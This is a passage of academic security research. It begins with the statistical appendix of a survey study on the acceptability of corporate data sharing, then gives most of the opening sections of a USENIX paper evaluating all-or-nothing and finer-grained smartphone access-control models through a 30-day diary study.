available user controls. Based on these results, we recom-

mend that regulations for data sharing do not solely rely on

past work that focused on only one company receiving data

from another (whether for advertising or other purposes). We

hope the recommendations we have made help other privacy

researchers and regulators mitigate the inequity imposed on

users by data commodification.
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A Statistics

This appendix details the process and results of our statistical

analysis. All statistical results presented use a significance

level of 0.05. We use non-parametric statistical tests as our

data is not normally distributed. This leaves the potential

for incorrectly finding a difference insignificant. However, it

decreases the risk of incorrectly saying a difference is signif-

icant. Additionally, when presenting the results of multiple

comparison procedures, we report the p-value adjusted using

the Bonferroni correction to account for the increased chance

of false positive results due to multiple comparisons.
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A.1 Within Informed Consent, Data Reten-

tion, and Purpose

The statistics shown in this section correspond to the results

presented in Section 4.1.

We perform a Friedman’s two-way analysis of variance

by ranks for each of the distributions of acceptability: within

informed consent groups, within data retention groups, and

within purpose groups. For all variables within groups N =

916. Results show that the distributions of acceptability is not

the same for: consent groups (b), (c), (d), (e) with test stat

= 899.29 p <0.001, retention groups (f), (g), (h) with test stat

= 255.08 p <0.001, and purpose groups (i), (j), (k) with test

stat = 435.79 p <0.001.

We perform Dunn’s multiple comparison procedure to iden-

tify which variables within a group differ and in what direc-

tion, for example within data retention, how do variables (f),

(g), and (h) differ (see Table 3). The difference in mean rank

(e.g., the mean rank of Var 1 subtract the mean rank of Var 2)

shows the direction of the difference in acceptability of the

pair. All pairs of variables have significantly different distri-

butions of acceptability except for the (g), (h) variable pair

from within data retention.

Var 1, Var 2
Difference in

Mean Rank

Std. Test

Statistic
ppp

Informed Consent

(a), (b) -0.85 -14.098 <0.001

(a), (c) -1.07 -17.663 <0.001

(a), (d) -1.44 -23.798 <0.001

(b), (c) -0.22 -3.565 0.002

(b), (d) -0.59 -9.700 <0.001

(c), (d) -0.37 -6.135 <0.001

Data Retention

(f), (g) -0.46 -9.778 <0.001

(f), (h) -0.51 -10.864 <0.001

(g), (h) -0.05 -1.086 0.832

Purpose

(i), (j) -0.71 -15.186 <0.001

(i), (k) -0.55 11.764 <0.001

(k), (j) -0.16 -3.423 0.002

Table 3: Dunn’s multiple comparison test results for the distri-

bution of acceptability compared pairwise between variables

within informed consent, data retention, and purpose groups.

All p-values are adjusted for multiple comparisons (6 compar-

isons for the consent group, 3 for each of the data retention

and purpose groups).

A.2 Collaboration Types

This section corresponds to Section 4.2 results.

Between collaboration types. We perform a Kruskal-

Wallis test on the distribution of acceptability of each col-

laboration type (1-5) for each variable ((a) through (k)) and

report those with significant differences in Table 4. We per-

form a post-hoc analysis for variables that have significant

differences from the Kruskal-Wallis test to identify which

collaboration types have pairwise differences. We use Dunn’s

multiple comparison procedure and show the results in Ta-

ble 5. Only the collaboration type pairs that have significantly

different distributions of acceptability are reported. The differ-

ence in mean rank (e.g., the mean rank of Type X subtract the

mean rank of Type Y) shows the direction of the difference

in acceptability collaboration types.

Between collaboration

types, the acceptability

distribution of. . .

Test Statistic ppp

. . . (a) is the same 26.724 <0.001

. . . (c) is the same 15.113 0.004

. . . (d) is the same 10.340 0.035

. . . (e) is the same 12.058 0.017

. . . (h) is the same 13.261 0.010

. . . (k) is the same 10.337 0.035

Table 4: Kruskal-Wallis test results for the distribution of

acceptability of variables between sharing types {1 (N = 140),

2 (N = 150), 3 (N = 134), 4 (N = 162), 5 (N = 170)} for

which the acceptability of the variable differs significantly

between data sharing types.

Within sharing types. Each sharing type (1-5) is com-

prised of two scenarios, so within each type we perform a

Mann-Whitney U test for each variable ((a) through (k)). For

‘two-way two-party exchange’ (type 1), we fail to identify

any significant differences in the distribution of acceptability

for its constituent scenarios C (N = 73) and D (N = 67). In

‘one-way two-party exchange’ (type 2), we identify signifi-

cant differences between scenarios E and F in seven variables

which can be seen in Table 6. For ‘many-to-one exchange’

(type 3), we identify one significant difference between sce-

nario G (N = 64) and H (N = 70) for ‘assumed consent’ (vari-

able (c), p = 0.035, std. test statistic= −2.107, mean rank

difference= 13.84). For ‘acquisition’ (type 4), we identify a

significant difference for ‘opt-in consent’ (variable (e)) be-

tween scenarios I (N = 79) and J (N = 83) (p = 0.004, std.

test statistic= −2.915, mean rank difference= 20.24). For

‘merger then acquisition’ (type 5), we fail to identity any sig-

nificant differences in acceptability of variables for scenario

K (N = 74) compared with L (N = 96).
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Collaboration

Type X, Type Y

Difference in

Mean Rank

Std. Test

Statistic
ppp

(a) All scenarios (general)

2, 4 -75.46 -3.124 0.018

2, 5 -69.42 -2.907 0.037

3, 4 -104.31 4.190 <0.001

3, 5 -98.27 3.990 0.001

(c) Assumed consent

2, 4 -68.28 -2.825 0.047

2, 5 -68.23 -2.855 0.043

(d) Opt-out consent

No pairwise differences due to Bonferroni correction.

(e) Opt-in consent

No pairwise differences due to Bonferroni correction.

(h) Retained for set time

2, 4 -71.96 -2.973 0.030

(k) Improving services

2, 5 -70.38 -2.948 0.032

Table 5: Dunn’s multiple comparison test results for the distri-

bution of acceptability compared pairwise between collabora-

tion types. All p values are adjusted for multiple comparisons

(10 comparisons per variable).

Within One-Way Two-

Party Exchange (E, F),

the acceptability

distribution of. . .

Difference in

Mean Rank

Std. Test

Statistic
ppp

. . . (a) is the same 16.04 -2.322 0.020

. . . (e) is the same 17.47 -2.550 0.011

. . . (g) is the same 16.11 -2.315 0.021

. . . (h) is the same 15.19 -2.188 0.029

. . . (i) is the same 17.22 -2.603 0.009

. . . (j) is the same 22.22 -3.202 0.001

. . . (k) is the same 15.24 -2.196 0.028

Table 6: Mann-Whitney U test results for the One-Way Two-

Party Exchange (collaboration type 2) scenarios {E (N = 81),

F (N = 69)}.

A.3 Demographics

The statistics in this section correspond to the results in Sec-

tion 4.3. We show the statistical results for demographic vari-

ations, first, due to gender and, second, due to age.

Gender acceptability variations. For gender, we per-

formed a Mann-Whitney U Test with two groups comprised

of 432 men and 455 women compared for each of the vari-

ables (a through k). We found a significant result for ‘con-

cealed consent’ (variable (b)). We can conclude that men

found their consent not being explicitly granted, to be sig-

nificantly more acceptable than women did (p = 0.008, std.

test statistic=−2.647). The difference in mean rank between

men and women for ‘concealed consent’ was 40.45.

Age acceptability variations. To examine how age group

influences acceptability for each of the variables, (a) through

(k), we performed a Kruskal-Wallis test comparing the five

age groups {18-24 (N = 154), 25-34 (N = 201), 35-44

(N = 140), 45-54 (N = 197), 55-64 (N = 201)}. We find

that between age groups, the acceptability distribution of (a)

p = 0.006, (b) p < 0.001, (f) p < 0.001, (g) p = 0.019, (h)

p = 0.012, (i) p < 0.001, (j) p = 0.018, and (k) p < 0.001 is

not the same.

B Privacy Mechanism Comprehension

Respondents predominantly fail the comprehension check as

to whether they understand their privacy mechanism. Only

37% of total respondents correctly identified the correspond-

ing “layperson” description of the privacy mechanism they

received. Data aggregation was the most correctly identified

with 64% correctness. Respondents had the most difficulty

comprehending LDP and CDP. As LDP and CDP are es-

sentially modifications to aggregation when described less

formally, it is not surprising that they were frequently thought

to correspond to the aggregation description. Privacy mecha-

nism comprehension results are shown in Figure 4.
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Figure 4: The counts of privacy mechanism received versus

incorrectly guessed. Respondents receive the definition of

a privacy mechanism and attempt to identify the layperson

description that corresponds to that same privacy mechanism.

For example, of the 191 respondents that received LDP (pri-

vacy mechanism 1), 41 incorrectly guessed they received CDP

(privacy mechanism 2).
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Abstract
The incumbent all-or-nothing model of access control on
smartphones has been known to dissatisfy users, due to high
overhead (both cognitive and physical) and lack of device-
sharing support. Several alternative models have been pro-
posed. However, their efficacy has not been evaluated and
compared empirically, due to a lack of detailed quantitative
data on users’ authorization needs. This paper bridges this gap
with a 30-day diary study. We probed a near-representative
sample (N = 55) of US smartphone users to gather a compre-
hensive list of tasks they perform on their phones and their
authorization needs for each task. Using this data, we quan-
tify, for the first time, the efficacy of the all-or-nothing model,
demonstrating frequent unnecessary or missed interventions
(false positive rate (FPR) = 90%, false negative rate (FNR) =
21%). In comparison, we show that app- or task-level models
can improve the FPR up to 88% and the FNR up to 20%,
albeit with a modest (up to 15%) increase in required upfront
configuration. We also demonstrate that the context in which
phone sharing happens is consistent up to 75% of the time,
showing promise for context-based solutions.

1 Introduction

Providing strong physical security for smartphones is of ut-
most importance nowadays. Continued advancements in the
capabilities of phones have enabled their use for a diverse
range of applications, leading to users storing and accessing
highly sensitive data and services (e.g., health data and tax
filings) on the devices [18]. This situation has increased the
damage the users would incur if there were any unauthorized
physical access to their phone [42,43]. Thus, to mitigate such
risk, practitioners and researchers have increased efforts to
improve the physical security system of phones [3].

Generally, any physical security system consists of two
components: the authentication system, which confirms the
user’s identity, and the access-control (a.k.a. authorization)
system, which ensures the authenticated user can access only
allowed functionalities [31].

The improvements to the authentication on smartphones,
so far, have been significant. In the beginning, phones
had the system designed around the something-you-know
model, which translated to knowledge-based unlocking meth-
ods, such as a passcode or pattern. However, due to usabil-
ity [25,47], memorability [32], and security issues [41,68,69]
with these methods, there was a shift toward a something-
you-are model. This is when manufacturers started offer-
ing biometric unlocking methods, such as fingerprint or face
recognition [7, 40, 57]. More recently, implicit authentication
solutions (which leverage behavioral biometrics) have been
developed for smartphones as well [16, 19, 20, 38, 46].

For access control on smartphones, in contrast, there has
not been much change. The system is still based on the all-or-
nothing model; the user can utilize all or none of the phone’s
functionalities based on its unlocked or locked status [29, 45].
This stagnancy is despite ever-increasing evidence that the
system is inefficient in meeting users’ needs in two key areas.

Firstly, the system disregards any differences in task (a.k.a.
fine-grain actions) security requirements. Even though tasks
performed on smartphones have different levels of sensitiv-
ity [14,18,29], the access-control system treats all of them the
same. For example, whether the user wants to read a book or
perform a financial transaction, the phone requires the same
level of unlocking. Studies suggest that users perceive this
model of protection as sometimes unnecessary (e.g., for read-
ing the book) and sometimes insufficient (e.g., for financial
transactions), and, are dissatisfied with it [35, 37, 59].

Secondly, the system lacks support for device sharing, de-
spite the prevalence of the practice. Phone owners share their
devices for a variety of reasons, such as financial necessity
or technical help [24, 35, 44]. Yet the phones do not support
secure sharing [29, 43]. This omission results in the insecure
practice of primary users sharing their passcodes or adding
the biometrics of the secondary users to the phones [44]. This
leads to primary users have limited ability to control what
secondary users can access on the phone, which leads to
unauthorized access and user dissatisfaction [35, 43, 44, 50].

There have been several attempts at addressing these short-
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comings. For example, to facilitate secure phone sharing,
both Android and iOS now allow locking an app on the screen
and not allow switching apps without the passcode [64, 65].
Also, to accommodate differences in task sensitivity, context-
based [28] solutions have been developed.

However, the efficacy of the proposed solutions has not
been evaluated empirically. As such, it is unclear if they suc-
ceed in addressing the shortcomings of the incumbent system.
Worse, a lack of understanding still exists in the literature,
regarding (1) the extent of the all-or-nothing model’s failure
in meeting users’ needs, even in terms of basic measures of a
false positive rate (FPR) and false negative rate (FNR); (2) the
improved level of performance of the proposed alternatives
under the same criteria and the trade-off in terms of increase
in the required up-front configuration; and (3) the consistency
of the contextual factors across sharing instances, to show if
it is practical to use them for better access control.

In this paper, we addressed these gaps by conducting a lon-
gitudinal diary study. We asked a near-representative sample
(N = 55) of the US smartphone-user population to install our
custom Android app on their personal phones for 30 days.
They used it to report their their access control needs, and the
details (e.g., time, location) of their phone-sharing events.

Using this data, we estimated for how many tasks users
perform each authorization solution either forces unnecessary
authentication (i.e., a false negative (FN)) or fails to prevent
unauthorized access (i.e., a false positive (FP)). We also ex-
amined the value distribution of the contextual factors across
all of the reported sharing events.

The results found (unsurprisingly) the all-or-nothing model
to be inefficient, with its average FPR and FNR being as high
as 90.3% and 21.2%, respectively. In contrast, we found that
app-level models could potentially decrease these rates to
4.8% and 11.3%; task-level ones could further improve the
FNR to 1.7% (without changing the FPR), albeit with a 15%
increase in configuration size. Hence, we found that overall
an app-locking solution might strike the best balance between
security and usability for most users. Lastly, we found phone
sharing happens in the same context up to 75% of the time.

In summary, we make the following contributions to the
field of access control on smartphones:

• A detailed quantitative view on users’ authorization
needs. We offer insight into how the needs differ across
the categories of task functionality and among users.

• A quantitative evaluation of how the all-or-nothing
model and its alternatives meet the access-control needs
of users. These measurements provide stronger evidence
as to how and why the status quo is suboptimal.

• A longitudinal investigation into the context of phone
sharing. Given the subsequent consistency of contextual
factors, we demonstrate how incorporating them into
access-control decisions could help with a better balance
between users’ needs for both security and usability.

2 Related Work

2.1 Smartphone Users’ Access-Control Needs

Several studies have qualitatively investigated users’ needs.
For example, Mazurek et al. [45] interviewed 33 smartphone
users. They found that users’ ideal access-control policies
could not be easily defined in standard role-based terms and
depended on factors such as location and presence of certain
individuals. They also found that, as incumbent solutions can-
not uphold such complex policies, users resort to constructing
ad hoc solutions, such as hiding files. Based on such obser-
vations, the authors argued that users require reactive policy
creation and finer-grain access control than an all-or-nothing
model. Similarly, Hayashi et al. [29] interviewed 20 users
and found that their needs go beyond all-or-nothing. Their
participants wanted at least one of their apps to be protected
by a lock, half to be without protection, and 20% to be split
(only parts of them locked). Hence, the authors found that
users’ authorization needs are even finer-grain than app-level.

To understand users’ authorization needs in phone-sharing
settings, Karlson et al. [35] interviewed 12 users to explore
why they shared phones, with whom, and the concerns they
had when sharing. They found that participants expressed
strong preferences about which data and functionality should
be available to each guest user. The authors also found that
sharing preferences might be location dependent. Later, Hang
et al. [24] conducted focus groups with 25 participants and
found sharing to be often impromptu. They also found sharing
preferences to be strongly app and data dependent.

Jacobs et al. [34] reported a similar study on couples’ prac-
tices with single-user device access. They conducted 20 in-
terviews and an 8-day diary study. They found that sharing
preferences often depended on content type, making the all-
or-nothing model impractical.

Lastly, Matthews et al. [44] investigated sharing across mul-
tiple devices. They conducted a survey with 99 households
and a 21-day diary study. They found device and account shar-
ing to be common. They also identified six different types of
sharing, ranging from borrowing devices to getting technical
help. They suggested that access control could be designed
differently for each sharing type. They also found that sharing
often happened in the sharer’s presence.

2.2 Alternatives to All-or-Nothing

Several solutions have been proposed to alleviate the deficien-
cies of the all-or-nothing model.

The first set of solutions provides task sensitivity (requiring
authentication only when the app/task being used requires
it). Commercially, both Android and iOS allow lock screen
access to some apps [54]. This solution keeps the all-or-
nothing model mostly intact but allows the user to launch
certain nonsensitive apps (e.g., camera, calculator) without
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Table 1: Summary of proposed and deployed user access-control solutions on smartphones.

Category Approach Proposed and Deployed Solutions

Ta
sk

se
ns

iti
vi

ty All-or-nothing Allows authorized users all functionality but none to
unauthorized Incumbent on current phones

Lock screen access Permits identical access to all-or-nothing, except for
allowing access to a few apps without unlocking Deployed on most phones [54]

App-level access Grants or denies access to each app individually Progressive authentication [59] and
several others [12, 48, 61, 66]

All-or-nothing Allows secondary users full access to the phone State of practice for most users [44]

Ph
on

e
sh

ar
in

g Profile switching Provides a separate profile with isolated apps and
data for each secondary user Deployed on Android phones [30]

Resource based Denies secondary users access to sensitive phone
resources (Wi-Fi, Bluetooth) DiffUser [51]

Session based Specifies individually what apps the secondary user
can access in each shared session xShare [39], app pinning [64]

unlocking the phone. Alternatively, Riva et al. propose a more
elaborate solution called progressive authentication [59]. It
determines a level of confidence in the user’s authenticity and
only prompts for authentication when a launched app requires
high confidence. There have also been several context-based
solutions that allow access to certain apps in specific contexts
(e.g., location) without authentication [12, 48, 61].

Another set of solutions aims to provide better phone-
sharing support. Commercially, profile switching [30] is
the incumbent solution on Android. It allows the device
owner to create separate profiles for secondary users. How-
ever, research has shown that users often do not utilize pro-
files even when set up, due to high physical and cognitive
overhead [9, 17]. Android and iOS also now support app
pinning [64, 65]. It allows the owner to limit sharing to a
single app by fixing the app on the screen and preventing the
switching of apps.

Researchers have proposed more elaborate solutions. Ni
et al. [51] propose DiffUser, which implements a role-based
model of access control. Secondary users are assigned to
a role: administrator, normal user, or guest. Each role has
restricted access to certain resources (e.g., normal users can
access SMS and contacts but cannot install or uninstall apps).
Liu et al. [39] propose xShare, which allows the sharer to
quickly put the phone in a restricted mode before handing it
to a sharee. The sharer must respecify what apps are available
in this mode every time they enable it.

To summarize, Table 1 provides an overview of the exist-
ing solutions, categorizing them based on their approach to
access control. We should note that in this paper we were fo-
cused on solutions that control a human operator’s access to a
phone. Therefore, OS-level solutions that control apps’ or pro-
cesses’ access to system resources, such as FlaskDroid [10]
and others [4, 5, 67, 71], were out of our scope.

2.3 Gaps in the Literature

Overall, we identified several gaps in the literature, which
this paper aims to address. Firstly, while prior studies demon-
strated the existence of issues with all-or-nothing, they did
not offer insights into the prevalence of the issues. For exam-
ple, while all-or-nothing’s obliviousness to task sensitivity is
suboptimal [24, 29], it remained to be investigated what pro-
portion of users’ tasks are actually sensitive or how sensitivity
varies by functionality and across users. Such investigations
would help researchers and developers to understand how dire
these issues really are and whether there is an actual need for
the other solutions. Only when the variance of task sensitivity
among users is high can one argue for solutions that increase
authorization granularity. Otherwise, the high configuration
effort required for such solutions makes them unattractive for
most users. We address this gap in Section 4.1.

Furthermore, even if a need for new solutions is determined,
the literature [24, 34, 35, 44] did not offer quantitative mea-
surements of users’ needs. As such, there could not have been
(and was not) any attempt to evaluate and compare the effi-
cacy of all-or-nothing and its alternatives. This left it unclear
whether the proposed alternatives would succeed in address-
ing the issues with all-or-nothing and if/where there would
be a need for further research. We report our findings on
the efficacy of different access-control models in Section 4.2.
Last but not least, while the existing literature showed that
users’ access-control preferences for phone sharing indeed
depended on contextual factors (e.g., location [45] and con-
tent [29, 34, 44]), the consistency of such factors had not
been demonstrated. To determine the prospects of improving
access-control decisions by incorporating these factors, it is
important to understand how consistent they are. We shed
light on this in Section 4.3.
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3 Methodology

Formalizing what we discussed in Sections 1 and 2, our study
was designed to answer the following research questions
(RQs):

• RQ1: What tasks do smartphone users perform on their
phones? What are their sharing preferences for the tasks?

• RQ2: To what extent, in terms of the FPR and FNR,
do all-or-nothing and the alternative solutions meet the
users’ needs? How do they compare in configuration
size?

• RQ3: How consistent are contextual factors across
phone-sharing events?

As mentioned, we conducted a diary study to answer these
questions. The study involved participants installing our An-
droid app on their phones and using it to report the following
data every day: (1) the tasks they performed with each of their
apps, (2) the people (if any) they would allow to perform each
task, and (3) the details (e.g., time, location) of any instances
of sharing their phone with others.

Inspired by Hayashi et al. [29], we used tasks as the means
to collect users’ authorization needs. Conceptually, we de-
fined a task as a distinct series of actions that could be per-
formed with a mobile app and that was distinguishable in
terms of purpose and sharing preferences. Technically, they
comprise the functionality affordances of a mobile app, simi-
lar to affordances of real-world objects or user interfaces [52].
For example, the app Gmail affords the tasks “Sending email”
and “Reading email,” according to our participants.

To solicit tasks, we asked the participants to declare what
they used an app for, while separating actions that had differ-
ent purposes. We also asked them to further break down a
task if there were parts of it they were unwilling to share with
others. For example, if they had used the SMS app to both
send and receive texts, they were asked to declare sending
and receiving as separate tasks if they were willing to let oth-
ers do one (e.g., the sending) but not the other (the reading).
Otherwise, they could declare “sending and receiving SMS”
as the task.

We used a longitudinal design to accommodate known lim-
itations of human memory [8], only requiring participants
to recall details of their phone usage (e.g., their tasks) over
one day. While this still put some memory burden on the
participants (and thus could have led to recall bias), an al-
ternative cross-sectional design [70] would have been worse,
unrealistically requiring participants to recall at one sitting
the details of their phone usage from over a month.1

1As evidence in support of our design choice, we had only two instances
of a participant stating in a daily diary that they did not remember sharing
their phone.

3.1 Data Collection
Our app kept track of the participants’ daily app usage and
invited them every night to fill out a diary. Using an Android
app, instead of paper- or web-based diaries, allowed us to
avoid asking participants repetitive questions (e.g., asking
them to list all the apps they had used) and to also ask detailed
questions about app usage context, as explained below.

The diary questions were fully structured. First, the partici-
pant was asked if they had shared their phone during the day.
If so, they were shown a list of apps launched on the phone
that day and were asked to indicate which apps were shared
(see Figure A in the paper’s online supplementary material [2]
for an example).

Next, our app would select five apps (either shared or used
by the participant themselves) to probe further about. We
chose five because pilot studies (described later in this section)
showed that it took ten minutes on average to complete a diary
with this number of apps; taking any more time daily would
result in lower data quality and higher chances of skipping
diary questions or even dropping out of the study.

The five apps were selected using an algorithm (see supple-
mentary material [2] for a flowchart). First priority were apps
the participant reported sharing for the first time. We antici-
pated such apps to be rarer. If there were more than five such
apps, we prioritized selecting those with higher usage time
(i.e., those that had more time in the foreground, based on
Android’s UsageStats service [56]). If there were fewer than
five newly shared apps, we selected from apps the participant
used themselves for the first time (while again prioritizing
apps with higher usage time). If these two priorities did not
fill the quota, we filled it by randomly selecting apps.

Next, the participants were asked to provide the following
data about each of the five selected apps:

For both shared and nonshared apps: A list of tasks per-
formed with the app (either the participant had performed
or they believed a sharee had). They could create new tasks
or select from the ones declared previously (see Figure F in
supplementary material [2]). They were also asked to specify
their sharing preferences for each task. The question read,
“For each task, select whom you’d generally allow to perform
it on your phone.” The answer options were “No one,” “Any-
one,” or “Specific people.” If they chose “Specific people,”
they were asked to provide a list of individuals. To reduce
the cognitive load of this option, a list of individuals previ-
ously defined by the participant was provided (see Figure G
in supplementary material [2]).

Specific to shared apps: Participants were shown a list of
times the app in question was launched on the phone. They
were asked to specify whom (either themselves or a sharee)
used the app each time (see Figure C in supplementary mate-
rial [2]). To specify a user/sharee, the participants needed to
give them a nickname to use for any subsequent reporting of
sharing with the same person. They also had to declare their
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Table 2: Demographics of study participants.

Variable Category
% (#) of
Partici-
pants

Gender Female 47.3 (26)
Male 52.7 (29)

Age 18-29 9.1 (5)
30-49 67.3 (37)
50-64 20 (11)
65 and higher 3.6 (2)

Education High school 27.3 (15)
Associate 18.2 (10)
Bachelor 45.5 (25)
Graduate degree 9.1 (5)

Annual income Less than 10 5.5 (3)
(in US$1,000s) 10-29 10.9 (6)

30-60 30.9 (17)
60-100 40.0 (22)
100-150 5.5 (3)
More than 150 7.3 (4)

Ethnicity Asian 1.8 (1)
Black 7.3 (4)
Hispanic 9.1 (5)
White 81.8 (45)

relationship with the sharee (e.g., spouse). Afterward, each
time the app was reported to have been shared the participant
was asked to specify the location where the sharing happened
and whether they were present at the time of sharing (see
Figure E in supplementary material [2]).

3.2 Pilot Studies
We conducted three pilot studies to test our data collection and
analysis design. Detailed descriptions of them are provided
in Appendix A.1. In summary, the results allowed us to refine
the wording of some questions, thereby improving correct
interpretation of the diary questions by participants. We also
used the results to estimate the preferred daily diary time limit
(10 minutes) and length of the study (1 month), and improve
communications in the consent form. These improvements
addressed security and privacy concerns that could have po-
tentially swayed future participants from participating.

3.3 Participant Recruitment
We recruited participants through MTurk. We published an
ad, inviting those interested in a “study of phone usage and
sharing habits” to complete a screening survey (the survey
questions are provided in the online supplementary mate-
rial [2]), for a US$1 compensation. The ad was only visible
to Turkers who were located in North America (according to
MTurk) and had an approval rate of at least 85%. We received

408 responses to the survey and invited 226 of the respondents
to install our app. The sample size was determined by power
analysis, assuming 85% confidence level, 5% margin of error,
and a target population size of 330 million for the US. We
excluded participants who did not have an Android phone
(67 entries) or showed clear signs of duplicate or low-quality
data (20 entries; e.g., claiming to use Face ID on an Android
phone). We also selected randomly from those who had a
surplus of demographic quota in our sample (e.g., younger
age ranges). Out of those invited, 65 installed the app, and 55
eventually completed the study.

Data collection took place between May and August 2021.
At the end of the study, each participant was compensated with
a gift card worth US$20 plus US$2 for every daily diary they
completed. Compensation was paid per diary as a whole, not
per report of sharing, in order to avoid participants providing
bogus data for extra credit. This compensation model was
inspired by other longitudinal studies [13, 36, 62] and was
designed to reduce the probability of early drop out.

Our final sample was fairly representative of the US
smartphone-user population, which is where all of the partici-
pants were located. As Table 2 shows, the sample was diverse
in terms of age, gender, education, and income groups. We
also performed chi-square tests. They showed no statistically
significant differences (p-values > 0.05), in terms of the dis-
tribution of the above demographics, between our sample and
the general US smartphone users as of 2019, as reported by
the Pew Research Center [11]. However, our sample was not
very diverse in terms of ethnicity. Age distribution was also
skewed, even if the difference was not statistically significant.
We discuss sample limitations further in Section 6.

3.4 Ethics

Data collection was conducted according to the policies and
regulations of the University of British Columbia (UBC) and
Canada. All study procedures were reviewed and approved
by UBC’s Behavioural Research Ethics Board (Certificate
ID H20-03155). All types of data that the study app would
collect and the purpose for that collection were disclosed, and
participants consented to its collection. To preserve partic-
ipants’ privacy, four measures were employed: (1) the app
was not programmed to collect any data outside the scope
of the study; (2) the collected data was uploaded on a daily
basis through an SSL-encrypted connection to a server hosted
in Canada, deleted from the phone after upload, and stored
on an encrypted disk; (3) personally identifiable information
(e.g., contact email) was collected as part of the web-based
screening survey but not through the study app; and (4) once
the study ended, the app automatically disabled itself and
prompted the users to uninstall it (see Figure Q in supplemen-
tary material [2]).

USENIX Association 31st USENIX Security Symposium    921



3.5 Data Analysis

RQ1 [Tasks]: To create a cohesive list of tasks, two re-
searchers aggregated the tasks reported by the participants to
merge functionally duplicate ones. They did so by performing
qualitative inductive coding [6]. Every day, each researcher
mapped each newly declared task to one of the existing ones in
our codebook. A mapping meant that the researcher believed
the new task was the same as the previously declared one.
The criteria for mapping tasks was that (1) they would either
be phrased identically or were similar in functionality, and
(2) the researcher could not envision a scenario in which they
would require different security, based on the participant’s
prior data. If a new task could not be mapped to an existing
one, it was added to the codebook as is. The researchers met
once a week to resolve any differences (disagreement rate was
4.5%). All disagreements were resolved; if the researchers
could not agree on an aggregation, both of the declared tasks
would enter the codebook.

Once the task codebook was finalized, the two researchers
performed categorization of the tasks based on functional-
ity. The aim was to use this categorization to investigate the
correlation between functionality and task sensitivity.

To perform the categorization, each researcher labelled
each task with one of the 32 functionality categories the
Google Play store uses for apps [22]. The researcher used
Google Play’s guidelines [22] to decide which category would
be used for a hypothetical app only affording that task. The
guidelines provide broad examples of what apps should fit
in each category (e.g., for the category “Entertainment,” the
examples read “Streaming video,” “Movies,” “TV,” and “Inter-
active entertainment.”) Next, the researchers met and resolved
all differences in labeling, of which there were 69 instances.
Resolutions were achieved through either agreeing on one
category or merging categories that had all overlapping apps.

RQ2 [Comparing access-control solutions]: We used three
metrics to compare the solutions:

• False positive rate (FPR) was calculated as the ratio of
the number of tasks a solution mistakenly makes avail-
able to unauthorized users (e.g., by making all apps
available to all users after an unlocking, even if only one
app is intended to be shared with the user) by the total
number of tasks. The FPR directly impacts the secu-
rity of a solution, as a higher rate would indicate higher
chances of unauthorized access to private data.

• False negative rate (FNR) was calculated as the ratio of
the number of tasks that a solution mistakenly denies
access to authorized users (e.g., by not letting unauthen-
ticated users access a task that is intended to be shared
with “Anyone”) by the total number of tasks. This mea-
sure reflects on the usability of a solution, as it signifies
the chances that a solution imposes unnecessary unlock-
ing overhead on users.

• Configuration size rate (CSR) was calculated as the ratio
of the number of access-control preferences each user
would have to explicitly specify for a solution (e.g., one
preference would be to indicate that an app should be
available to “Anyone”), by the total number of a user’s
preferences (in this paper, we assume this to be their to-
tal number of tasks). We use the CSR as a basic estimate
of the amount of effort necessary for a user to switch to
a solution, without us having to assume any particular
design for the user experience of the solution. For exam-
ple, a CSR = 100% would mean that the solution expects
the user to explicitly specify their sharing preference for
all their tasks, where as a CSR = 1% would require only
1/100 of that effort.

The metrics were calculated separately for each participant
and then averaged over all participants. It should be noted that
we calculated both the FPR and FNR by counting the number
of tasks, not the number of times a task was performed by a
participant. In the scenarios (described below), we also did
not differentiate between when an unlocked phone is shared
and when the passcode is shared. While these choices could
make the calculated FNR less reflective of the actual user
experience (e.g., the user might face more interruptions from
frequently done tasks), we made them to limit the impact on
the FPR by frequently done nonsensitive tasks, which could
make a solution look unrealistically secure. For example, an
unauthorized execution of a highly sensitive task, such as
banking, could be masked by the many authorized executions
of a trivial task, such as checking the weather.

For task sensitivity, we calculated the metrics in seven
scenarios, each corresponding to one type of solution:

• ALL: This scenario corresponds to one possible case
of the all-or-nothing model. It represents a case where
the user would not enable unlocking. Hence, the FNR
would be zero. However, any task labelled as “No one”
or “Specific people” would constitute an FP because it
would mistakenly be available to anyone. This scenario
is important to consider; it was estimated in 2020 to be
the state of practice for 10% of smartphone users [46].

• NOTHING: This is another possible case for the all-or-
nothing model. Here it is assumed that the user would en-
able authentication but not share their passcode. Hence,
the FPR would be zero. However, any task labelled as
“Anyone” or “Specific people” would constitute an FN
as it would not be available to the corresponding users.
This scenario is also important to consider; it represents
the state of practice for nearly 90% of users [46].

• LOCK_SCREEN_ACCESS: This scenario represents
the lock screen access solution. It is similar to NOTH-
ING, but we assumed camera, calculator, and flashlight
apps would be available before unlocking.
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• APP_CONSERVATIVE: This represents a case where
users would be able to lock apps individually but not
individual tasks within them. It is representative of how
progressive authentication [59] or other app-level solu-
tions (see Table 1) perform. Calculating the FPR and
FNR for it, however, requires resolving conflicts in the
participant’s labeling of an app’s tasks. In this conser-
vative scenario, we assume that the user would want to
lock an app if they label any of its tasks as “No one.”

• APP_MAXIMAL: This is similar to the
APP_CONSERVATIVE scenario but uses a dif-
ferent strategy for conflict resolution. In this case, the
model would assign access to an app based on the
majority vote of the user’s labeling of its tasks.

• TASK_CONSERVATIVE: In this hypothetical sce-
nario, we assume that the system has perfect knowledge
of the user’s sharing preferences. However, inconsistent
labeling of tasks would still constitute FPs/FNs, as they
represent sharing preferences that a task-level system
cannot uphold.2 We devised this scenario to gauge an
upper bound for the efficacy of task-based access control.
To measure the FPR and FNR, a conflict resolution strat-
egy is needed. In this conservative scenario, we assume
that the user would prefer the most restrictive of their
provided labels for each task.

• TASK_MAXIMAL: This is similar to
TASK_CONSERVATIVE but uses a different conflict
resolution strategy. Here we assume that the user would
prefer to have tasks protected according to the majority
vote of its labels. For example, if the user has labeled a
task twice as “No one” and once as “Specific people,”
“No one” would be selected as its final label.

For phone-sharing solutions, we considered four scenarios:

• ALL_OR_NOTHING: We assume that the user either
has not enabled unlocking or has enabled it but has
shared their passcode with the sharee. Hence, we calcu-
late the FPR and FNR by assuming the sharee has access
to all tasks on the phone. This scenario represents the
state of practice among most users [44].

• PROFILE_SWITCHING: This represents a case
where the user would create a separate profile for each
sharee and allow them to install their own apps. Hence,
the FPR and FNR are calculated assuming that sharees
cannot perform any task not explicitly shared with them.

• DIFF_USER: We assume that the user would designate
all sharees as “Guest.” We calculate the FPR and FNR
by determining whether a sharee can perform a task,

2This entails that, to accurately take into account inconsistencies in the
participants’ labeling of tasks, we consider different labels of a task to be
different (finer-grain) tasks that this system cannot distinguish between.

